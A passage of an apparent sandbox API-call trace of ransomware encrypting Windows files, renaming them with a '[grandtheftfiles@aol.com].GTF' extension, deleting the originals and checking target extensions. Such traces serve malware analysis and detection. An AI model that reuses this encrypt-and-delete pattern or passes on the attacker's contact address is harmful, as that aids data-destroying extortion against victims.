	[0071.616] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.616] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0071.619] GetLastError () returned 0x0
	[0071.619] ReadFile (in: hFile=0x320, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0xa5, lpOverlapped=0x0) returned 1
	[0071.620] WriteFile (in: hFile=0x31c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xb0, lpOverlapped=0x0) returned 1
	[0071.621] ReadFile (in: hFile=0x320, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.621] WriteFile (in: hFile=0x31c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x102, lpOverlapped=0x0) returned 1
	[0071.621] SetEndOfFile (hFile=0x31c) returned 1
	[0071.621] CloseHandle (hObject=0x31c) returned 1
	[0071.622] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.622] SetEndOfFile (hFile=0x320) returned 1
	[0071.623] CloseHandle (hObject=0x320) returned 1
	[0071.623] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0071.623] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif")) returned 1
	[0071.624] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77
	[0071.624] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77
	[0071.624] lstrlenW (lpString=".doc") returned 4
	[0071.624] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0071.624] lstrlenW (lpString=".docx") returned 5
	[0071.624] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1
	[0071.624] lstrlenW (lpString=".pdf") returned 4
	[0071.624] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0071.624] lstrlenW (lpString=".xls") returned 4
	[0071.624] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0071.624] lstrlenW (lpString=".xlsx") returned 5
	[0071.624] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1
	[0071.624] lstrlenW (lpString=".ppt") returned 4
	[0071.624] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0071.624] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77
	[0071.624] lstrlenW (lpString=".zip") returned 4
	[0071.624] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0071.624] lstrlenW (lpString=".rar") returned 4
	[0071.624] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0071.624] lstrlenW (lpString=".bz2") returned 4
	[0071.624] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0071.624] lstrlenW (lpString=".7z") returned 3
	[0071.624] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0071.624] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77
	[0071.624] lstrlenW (lpString=".dbf") returned 4
	[0071.624] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0071.624] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77
	[0071.624] lstrlenW (lpString=".1cd") returned 4
	[0071.624] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0071.624] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77
	[0071.624] lstrlenW (lpString=".jpg") returned 4
	[0071.624] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0071.624] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77
	[0071.624] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77
	[0071.624] lstrlenW (lpString=".doc") returned 4
	[0071.624] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0071.625] lstrlenW (lpString=".docx") returned 5
	[0071.625] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1
	[0071.625] lstrlenW (lpString=".pdf") returned 4
	[0071.625] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0071.625] lstrlenW (lpString=".xls") returned 4
	[0071.625] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0071.625] lstrlenW (lpString=".xlsx") returned 5
	[0071.625] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1
	[0071.625] lstrlenW (lpString=".ppt") returned 4
	[0071.625] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0071.625] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77
	[0071.625] lstrlenW (lpString=".zip") returned 4
	[0071.625] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0071.625] lstrlenW (lpString=".rar") returned 4
	[0071.625] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0071.625] lstrlenW (lpString=".bz2") returned 4
	[0071.625] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0071.625] lstrlenW (lpString=".7z") returned 3
	[0071.625] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0071.625] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77
	[0071.625] lstrlenW (lpString=".dbf") returned 4
	[0071.625] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0071.625] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77
	[0071.625] lstrlenW (lpString=".1cd") returned 4
	[0071.625] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0071.625] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77
	[0071.625] lstrlenW (lpString=".jpg") returned 4
	[0071.625] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0071.625] lstrcmpiW (lpString1=".gif", lpString2=".GTF") returned -1
	[0071.625] lstrlenW (lpString="win32_LinkDrop32x32.gif") returned 23
	[0071.625] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0072.088] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=168) returned 1
	[0072.088] CloseHandle (hObject=0x374) returned 1
	[0072.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif")) returned 0x20
	[0072.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0072.088] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0072.088] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.089] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.089] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0073.010] GetLastError () returned 0x0
	[0073.010] ReadFile (in: hFile=0x374, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0xa8, lpOverlapped=0x0) returned 1
	[0073.034] WriteFile (in: hFile=0x370, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xb0, lpOverlapped=0x0) returned 1
	[0073.048] ReadFile (in: hFile=0x374, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0073.048] WriteFile (in: hFile=0x370, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x102, lpOverlapped=0x0) returned 1
	[0073.049] SetEndOfFile (hFile=0x370) returned 1
	[0073.049] CloseHandle (hObject=0x370) returned 1
	[0073.051] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.051] SetEndOfFile (hFile=0x374) returned 1
	[0073.052] CloseHandle (hObject=0x374) returned 1
	[0073.052] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0073.052] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif")) returned 1
	[0073.052] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77
	[0073.052] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77
	[0073.052] lstrlenW (lpString=".doc") returned 4
	[0073.052] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0073.052] lstrlenW (lpString=".docx") returned 5
	[0073.052] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1
	[0073.052] lstrlenW (lpString=".pdf") returned 4
	[0073.053] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0073.053] lstrlenW (lpString=".xls") returned 4
	[0073.053] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0073.053] lstrlenW (lpString=".xlsx") returned 5
	[0073.053] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1
	[0073.053] lstrlenW (lpString=".ppt") returned 4
	[0073.053] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0073.053] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77
	[0073.053] lstrlenW (lpString=".zip") returned 4
	[0073.053] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0073.053] lstrlenW (lpString=".rar") returned 4
	[0073.053] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0073.053] lstrlenW (lpString=".bz2") returned 4
	[0073.053] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0073.053] lstrlenW (lpString=".7z") returned 3
	[0073.053] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0073.053] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77
	[0073.053] lstrlenW (lpString=".dbf") returned 4
	[0073.053] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0073.053] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77
	[0073.053] lstrlenW (lpString=".1cd") returned 4
	[0073.053] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0073.053] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77
	[0073.053] lstrlenW (lpString=".jpg") returned 4
	[0073.053] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0073.053] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77
	[0073.053] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77
	[0073.053] lstrlenW (lpString=".doc") returned 4
	[0073.053] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0073.053] lstrlenW (lpString=".docx") returned 5
	[0073.053] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1
	[0073.053] lstrlenW (lpString=".pdf") returned 4
	[0073.053] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0073.053] lstrlenW (lpString=".xls") returned 4
	[0073.053] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0073.053] lstrlenW (lpString=".xlsx") returned 5
	[0073.053] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1
	[0073.054] lstrlenW (lpString=".ppt") returned 4
	[0073.054] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0073.054] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77
	[0073.054] lstrlenW (lpString=".zip") returned 4
	[0073.054] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0073.054] lstrlenW (lpString=".rar") returned 4
	[0073.054] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0073.054] lstrlenW (lpString=".bz2") returned 4
	[0073.054] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0073.054] lstrlenW (lpString=".7z") returned 3
	[0073.054] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0073.054] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77
	[0073.054] lstrlenW (lpString=".dbf") returned 4
	[0073.054] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0073.054] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77
	[0073.054] lstrlenW (lpString=".1cd") returned 4
	[0073.054] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0073.054] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77
	[0073.054] lstrlenW (lpString=".jpg") returned 4
	[0073.054] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0073.054] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0073.054] lstrlenW (lpString="FileSystemMetadata.xml") returned 22
	[0073.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0073.054] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=281) returned 1
	[0073.055] CloseHandle (hObject=0x374) returned 1
	[0073.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml")) returned 0x220
	[0073.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0073.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0073.055] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.055] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0073.055] GetLastError () returned 0x0
	[0073.055] ReadFile (in: hFile=0x374, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x119, lpOverlapped=0x0) returned 1
	[0073.056] WriteFile (in: hFile=0x370, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x120, lpOverlapped=0x0) returned 1
	[0073.057] ReadFile (in: hFile=0x374, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0073.057] WriteFile (in: hFile=0x370, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x100, lpOverlapped=0x0) returned 1
	[0073.058] SetEndOfFile (hFile=0x370) returned 1
	[0073.058] CloseHandle (hObject=0x370) returned 1
	[0073.059] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.059] SetEndOfFile (hFile=0x374) returned 1
	[0073.059] CloseHandle (hObject=0x374) returned 1
	[0073.059] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0073.060] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml")) returned 1
	[0073.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56
	[0073.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56
	[0073.060] lstrlenW (lpString=".doc") returned 4
	[0073.060] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0073.060] lstrlenW (lpString=".docx") returned 5
	[0073.060] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0073.060] lstrlenW (lpString=".pdf") returned 4
	[0073.060] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0073.060] lstrlenW (lpString=".xls") returned 4
	[0073.060] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0073.060] lstrlenW (lpString=".xlsx") returned 5
	[0073.060] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0073.060] lstrlenW (lpString=".ppt") returned 4
	[0073.060] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0073.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56
	[0073.060] lstrlenW (lpString=".zip") returned 4
	[0073.060] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0073.060] lstrlenW (lpString=".rar") returned 4
	[0073.060] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0073.060] lstrlenW (lpString=".bz2") returned 4
	[0073.060] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0073.060] lstrlenW (lpString=".7z") returned 3
	[0073.061] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0073.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56
	[0073.061] lstrlenW (lpString=".dbf") returned 4
	[0073.061] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0073.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56
	[0073.061] lstrlenW (lpString=".1cd") returned 4
	[0073.061] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0073.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56
	[0073.061] lstrlenW (lpString=".jpg") returned 4
	[0073.061] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0073.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56
	[0073.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56
	[0073.061] lstrlenW (lpString=".doc") returned 4
	[0073.061] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0073.061] lstrlenW (lpString=".docx") returned 5
	[0073.061] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0073.061] lstrlenW (lpString=".pdf") returned 4
	[0073.061] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0073.061] lstrlenW (lpString=".xls") returned 4
	[0073.061] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0073.061] lstrlenW (lpString=".xlsx") returned 5
	[0073.061] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0073.061] lstrlenW (lpString=".ppt") returned 4
	[0073.061] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0073.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56
	[0073.061] lstrlenW (lpString=".zip") returned 4
	[0073.061] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0073.061] lstrlenW (lpString=".rar") returned 4
	[0073.061] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0073.061] lstrlenW (lpString=".bz2") returned 4
	[0073.061] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0073.061] lstrlenW (lpString=".7z") returned 3
	[0073.061] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0073.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56
	[0073.061] lstrlenW (lpString=".dbf") returned 4
	[0073.061] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0073.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56
	[0073.062] lstrlenW (lpString=".1cd") returned 4
	[0073.062] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0073.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56
	[0073.062] lstrlenW (lpString=".jpg") returned 4
	[0073.062] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0073.062] lstrcmpiW (lpString1=".HTM", lpString2=".GTF") returned 1
	[0073.062] lstrlenW (lpString="OSPP.HTM") returned 8
	[0073.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0073.062] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=174528) returned 1
	[0073.062] CloseHandle (hObject=0x374) returned 1
	[0073.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm")) returned 0x20
	[0073.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0073.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0073.063] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.063] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
